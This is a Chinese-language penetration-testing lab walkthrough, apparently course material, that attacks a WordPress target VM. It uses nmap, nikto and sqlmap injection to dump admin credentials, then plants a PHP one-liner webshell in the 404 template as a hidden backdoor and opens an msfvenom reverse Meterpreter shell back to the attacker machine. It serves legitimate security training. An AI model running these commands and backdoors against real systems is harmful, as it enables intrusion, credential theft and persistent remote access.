第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux
Linux
Windows XP
第二步,使用命令nmap -sS 172.16.1.200探测目标靶机的服务版本信息
这里采用扫描效率最高的选项-sS:Tcp SYN扫描,它被称为半开放扫描它的原理是:不打开一个完整的TCP连接,执行得很快,效率高(一个完整的tcp连接需要3次握手,而-sS选项不需要进行3次握手)其优点:Nmap发送SYN包到远程主机,但是它不会产生任何会话,目标主机几乎不会把连接记入系统日志。(防止对方判断为扫描攻击),扫描速度快,效率高,在工作中使用频率最高。
探测完毕,我们发现目标靶机开放了两个http服务和一个https服务。
第三步,我们来分析一下当前的探测结果,这里扫描到的每一个服务都对应的是计算机的一个端口,它主要的作用是用来与其他计算机进行通信。根据这里扫描所得到的结果,从开放的http服务的端口来切入是较为快捷的路径,可以采取在浏览器中输入http://ip:port/的新式来进行访问,然后查看网站的源码,查找有关Flag的信息,80、443、8080端口的访问结果
返回的网站在不考虑图片隐写的情况下除了8080端口以外,其他的站点均没有任何有效的信息,接下来尝试从8080端口寻找突破口,点击页面上的超链接Access Bitnami WordPress Stack跳转到WordPress CMS论坛的首页
此时,我们可以使用工具WPScan来进一步对CMS论坛进行漏洞探索,接下来使用命令wpscan --url http://172.16.1.200:8080/wordpress对论坛进行探测,
返回的探测结果中未发现任何安全问题。
第四步,通过nikto来收集更多的数据,使用命令nikto -host http://172.16.1.200对服务器80端口进行扫描,结果如下
根据扫描结果可以发现网站根目录下有login.php文件以及phpmyadmin/目录,接下来我们直接在浏览器中去访问login.php
此时可以发现一个登陆框,为了节省时间,可以直接把此页面放到自动注入工具sqlmap中来测试,检测该页面是否存在注入点。
第五步,使用命令sqlmap -u “http://ip地址/xxx” --forms --level 3,解释一下参数
--forms:如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
--level 数字:level标签是使用sqlmap注入时候–level的命令,这个标签分别定义了1-5个等级的发包数量,默认是1,表示做最少的检测,level越高,检测的数量越高。level等于2时会检测cookie字段是否有注入,等于3时会检测User-Agent、Host、Referer等HTTP的头部字段是否有注入。
大家可以查看xml/boundaries.xml帮助理解,该文档已翻译为中文存放在/root下的payloads.xml中,感兴趣的同学可以阅读一下。
这个参数(--level)不仅影响使用哪些payload,同时也会影响测试的注入点,HTTP Cookie在level为2的时候才会被测试。HTTP User-Agent/Referer头在level为3的时候会进行测试。为了保证全面性,建议使用高的level值(3),命令sqlmap -u “http://172.16.1.100/login.php” --forms --level 3的测试结果如下
由于是基于时间的盲注基于响应是否超时,所以该过程可能会比较久。
第六步,在上一步命令的基础上加上参数--dbs,查看数据库。
发现其中的wordpress8080库名可以与前面搜集信息中开放的8080端口上运行的WordPress网站联系起来,推测该数据库应该包含了WordPress站点登录所必须的用户名和密码,使用命令sqlmap -u “http://172.16.1.200/login.php”-D wordpress8080 --tables来查看wordpress8080这个库中包含有那些表,具体命令如下:
接下来,使用命令sqlmap -u http://172.16.1.200/login.php --forms --level 3 -D wordpress8080 -T users --dump来导出users表中所有字段信息:
sqlmap -u “url” --forms --level 3 -D wordpress8080 -T users --dump
成功找到了WordPress的用户名admin和密码SuperSecretPassword。WordPress站点的默认登录url为/wordpress/wp-login.php。我们使用火狐浏览器登录到该网站的后台进行管理。
登入后台后在左侧导航栏中找到Settings,然后选择Site Language在下拉框中选择zh_CN,修改语言为中文
第七步,由于我们已经获取到了WordPress的后台管理员密码,在接下里的操作里将围绕着WordPress来进行提权操作,基本上提权的方式有三种,一种是将一句话写到一个文件夹下并压缩成.zip格式上传,此法为第一种方法
第二种方法是找到能编辑的php文件,将一句话写进去,然后使用菜刀来连接该一句话木马,方法一与方法二的原理大体一致,将原有文件内容修改为php一句话木马,或通过增加一句话木马的页面实现远程命令执行(RCE);第三种方法是通过php shell反弹木马并结合Meterpreter实现反弹连接。
第八步,这里我先尝试用第二种方法,将一句话写在404页面。404页面是网站常用的文件,一般网站搭建好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门
回到浏览器中,依次找到外观导航栏下的编辑一项,选择当前主题的方案(Twenty Thirteen),
在页面的右边找到404.php的模板代码修改页面,直接将一句话木马的内容写入404页面中,如:, 由于php中有一些函数可以把一个自定义函数当做回调函数比如array_map(),所以我们利用php的array_map()函数,该函数是允许随意编码,我们将其做为字符串参数来进行命令传递,如下所示:
修改完后在页面的下方选择更新文件按钮,以保存修改。
第九步,打开渗透机WindowsXP,找到位于桌面上的中国菜刀尝试连接php木马,然后软件的空白处点击右键,选择添加SHELL,在接下来弹出的窗口中填入http://172.16.1.100:8080/wordpress/404.php密码为xss
点击链接后发现如下报错信息:
根据返回的错误信息提示404页面未找到。既然这种方法不行,我们尝试以读写的方式生成一个shell.php文件。
(注意:PHP里面单引号和双引号是有区别的!单引号是不进行解释,直接输出,双引号是进行解释,再输出。)
接下来,再次使用中国菜刀来连接木马的地址:
http://172.16.1.200:8080/wordpress/shell.php密码为hello
再次连接一句话木马发现shell.php连接成功:
接下来演示的方法与前两种方法不同,通过PHP反弹Shell会话到渗透机中实现RCE。
第十步,在Kali渗透机中,使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.100 LPORT=886 -f raw > shell.php来生成php格式的反弹木马脚本,上述指令部分选项的作用如下:
-p:指定payload 为php/meterpreter/reverse_tcp;
-f:设置输出格式(raw)。
MSF会把生成的PHP 反弹木马文件保存为shell.php,我们使用命令cat shell.php来查看木马的结构,在上传后门到被测主机之前,首先要删除脚本前面的注释符号/*。未删除注释的源码:
简单阅读发现该木马主要是通过靶机中的php函数来建立套接字与渗透机进行通信的。那么也就意味着我们可以通过在本地使用nc 来监听套接字连接过来端口实现远程控制。接下来使用命令msfconsole打开metasploit渗透测试平台,
使用命令use exploit/multi/handler调用后门模块进行利用,然后使用命令set payload php/meterpreter_reverse_tcp设置该模块所使用的payload载荷为php反弹shell载荷,填充完整必须要配置的参数(LHOST、LPORT),
最后使用命令exploit启动对886端口进行监听。
第十一步,将木马源码复制出来上传到靶机,替换掉服务器的404.php页面内容,在左侧仪表盘中选择外观,点击编辑,然后进入Twenty Thirteen的404模板编辑页面,将上面生成的php木马覆盖到该页面中
更新完成后,使用火狐浏览器来访问http://172.16.1.100:8080/wordpress/404.php来触发php反弹木马。
使用命令shell打开远程命令终端
成功获取到目标靶机的shell,但是通过id查看账户的权限,发现当前的用户为守护进程权限,但依然无法切换路径至root目录下,
在下一个课件中我们将会介绍如何进行提权。